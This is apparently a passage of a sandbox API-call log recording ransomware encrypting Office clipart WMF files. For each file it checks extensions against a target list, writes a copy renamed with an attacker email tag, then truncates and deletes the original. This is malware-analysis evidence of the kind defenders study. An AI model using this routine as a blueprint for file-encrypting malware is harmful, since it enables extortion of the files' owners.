	[0157.365] WriteFile (in: hFile=0x540, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xe3a0, lpOverlapped=0x0) returned 1
	[0157.368] ReadFile (in: hFile=0x550, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.368] WriteFile (in: hFile=0x540, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.368] SetEndOfFile (hFile=0x540) returned 1
	[0157.369] CloseHandle (hObject=0x540) returned 1
	[0157.373] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.373] SetEndOfFile (hFile=0x550) returned 1
	[0157.394] CloseHandle (hObject=0x550) returned 1
	[0157.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0157.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1
	[0157.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0157.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0157.399] lstrlenW (lpString=".doc") returned 4
	[0157.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.399] lstrlenW (lpString=".docx") returned 5
	[0157.399] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0157.399] lstrlenW (lpString=".pdf") returned 4
	[0157.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.399] lstrlenW (lpString=".xls") returned 4
	[0157.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.399] lstrlenW (lpString=".xlsx") returned 5
	[0157.399] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0157.399] lstrlenW (lpString=".ppt") returned 4
	[0157.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0157.399] lstrlenW (lpString=".zip") returned 4
	[0157.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.399] lstrlenW (lpString=".rar") returned 4
	[0157.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.400] lstrlenW (lpString=".bz2") returned 4
	[0157.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.400] lstrlenW (lpString=".7z") returned 3
	[0157.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0157.400] lstrlenW (lpString=".dbf") returned 4
	[0157.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0157.400] lstrlenW (lpString=".1cd") returned 4
	[0157.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0157.400] lstrlenW (lpString=".jpg") returned 4
	[0157.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0157.401] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=6214) returned 1
	[0157.401] CloseHandle (hObject=0x550) returned 1
	[0157.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220
	[0157.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0158.463] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.463] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0158.465] GetLastError () returned 0x0
	[0158.465] ReadFile (in: hFile=0x34c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1846, lpOverlapped=0x0) returned 1
	[0158.481] WriteFile (in: hFile=0x4ac, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1850, lpOverlapped=0x0) returned 1
	[0158.483] ReadFile (in: hFile=0x34c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.483] WriteFile (in: hFile=0x4ac, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.483] SetEndOfFile (hFile=0x4ac) returned 1
	[0158.483] CloseHandle (hObject=0x4ac) returned 1
	[0158.483] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.483] SetEndOfFile (hFile=0x34c) returned 1
	[0158.491] CloseHandle (hObject=0x34c) returned 1
	[0158.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0158.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1
	[0158.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.502] lstrlenW (lpString=".doc") returned 4
	[0158.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.502] lstrlenW (lpString=".docx") returned 5
	[0158.503] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0158.503] lstrlenW (lpString=".pdf") returned 4
	[0158.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.503] lstrlenW (lpString=".xls") returned 4
	[0158.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.503] lstrlenW (lpString=".xlsx") returned 5
	[0158.503] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0158.503] lstrlenW (lpString=".ppt") returned 4
	[0158.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.503] lstrlenW (lpString=".zip") returned 4
	[0158.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.503] lstrlenW (lpString=".rar") returned 4
	[0158.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.504] lstrlenW (lpString=".bz2") returned 4
	[0158.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.504] lstrlenW (lpString=".7z") returned 3
	[0158.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.504] lstrlenW (lpString=".dbf") returned 4
	[0158.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.504] lstrlenW (lpString=".1cd") returned 4
	[0158.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0158.504] lstrlenW (lpString=".jpg") returned 4
	[0158.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0158.506] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=3606) returned 1
	[0158.506] CloseHandle (hObject=0x34c) returned 1
	[0158.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220
	[0158.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0158.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0158.507] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.507] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0158.509] GetLastError () returned 0x0
	[0158.509] ReadFile (in: hFile=0x34c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xe16, lpOverlapped=0x0) returned 1
	[0158.513] WriteFile (in: hFile=0x4ac, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xe20, lpOverlapped=0x0) returned 1
	[0158.515] ReadFile (in: hFile=0x34c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.515] WriteFile (in: hFile=0x4ac, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.516] SetEndOfFile (hFile=0x4ac) returned 1
	[0158.671] CloseHandle (hObject=0x4ac) returned 1
	[0158.887] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.887] SetEndOfFile (hFile=0x34c) returned 1
	[0158.890] CloseHandle (hObject=0x34c) returned 1
	[0158.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0158.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1
	[0158.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.892] lstrlenW (lpString=".doc") returned 4
	[0158.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.892] lstrlenW (lpString=".docx") returned 5
	[0158.892] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0158.892] lstrlenW (lpString=".pdf") returned 4
	[0158.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.893] lstrlenW (lpString=".xls") returned 4
	[0158.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.893] lstrlenW (lpString=".xlsx") returned 5
	[0158.893] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0158.893] lstrlenW (lpString=".ppt") returned 4
	[0158.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.893] lstrlenW (lpString=".zip") returned 4
	[0158.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.893] lstrlenW (lpString=".rar") returned 4
	[0158.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.893] lstrlenW (lpString=".bz2") returned 4
	[0158.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.893] lstrlenW (lpString=".7z") returned 3
	[0158.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.893] lstrlenW (lpString=".dbf") returned 4
	[0158.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.894] lstrlenW (lpString=".1cd") returned 4
	[0158.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.894] lstrlenW (lpString=".jpg") returned 4
	[0158.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0158.895] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=1198) returned 1
	[0158.895] CloseHandle (hObject=0x34c) returned 1
	[0158.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220
	[0158.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0158.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0158.896] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.896] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0158.897] GetLastError () returned 0x0
	[0158.898] ReadFile (in: hFile=0x34c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x4ae, lpOverlapped=0x0) returned 1
	[0158.963] WriteFile (in: hFile=0x360, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x4b0, lpOverlapped=0x0) returned 1
	[0158.964] ReadFile (in: hFile=0x34c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.964] WriteFile (in: hFile=0x360, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.965] SetEndOfFile (hFile=0x360) returned 1
	[0158.965] CloseHandle (hObject=0x360) returned 1
	[0158.965] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.965] SetEndOfFile (hFile=0x34c) returned 1
	[0158.968] CloseHandle (hObject=0x34c) returned 1
	[0158.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0158.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1
	[0158.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.970] lstrlenW (lpString=".doc") returned 4
	[0158.970] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.970] lstrlenW (lpString=".docx") returned 5
	[0158.970] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0158.970] lstrlenW (lpString=".pdf") returned 4
	[0158.970] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.970] lstrlenW (lpString=".xls") returned 4
	[0158.970] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.970] lstrlenW (lpString=".xlsx") returned 5
	[0158.970] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0158.970] lstrlenW (lpString=".ppt") returned 4
	[0158.970] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.970] lstrlenW (lpString=".zip") returned 4
	[0158.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.970] lstrlenW (lpString=".rar") returned 4
	[0158.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.970] lstrlenW (lpString=".bz2") returned 4
	[0158.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.970] lstrlenW (lpString=".7z") returned 3
	[0158.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.971] lstrlenW (lpString=".dbf") returned 4
	[0158.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.971] lstrlenW (lpString=".1cd") returned 4
	[0158.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0158.971] lstrlenW (lpString=".jpg") returned 4
	[0158.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0158.972] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=4118) returned 1
	[0158.972] CloseHandle (hObject=0x34c) returned 1
	[0158.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220
	[0158.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0158.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0158.974] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.974] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0158.975] GetLastError () returned 0x0
	[0158.975] ReadFile (in: hFile=0x34c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1016, lpOverlapped=0x0) returned 1
	[0158.977] WriteFile (in: hFile=0x360, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0158.978] ReadFile (in: hFile=0x34c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.978] WriteFile (in: hFile=0x360, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.978] SetEndOfFile (hFile=0x360) returned 1
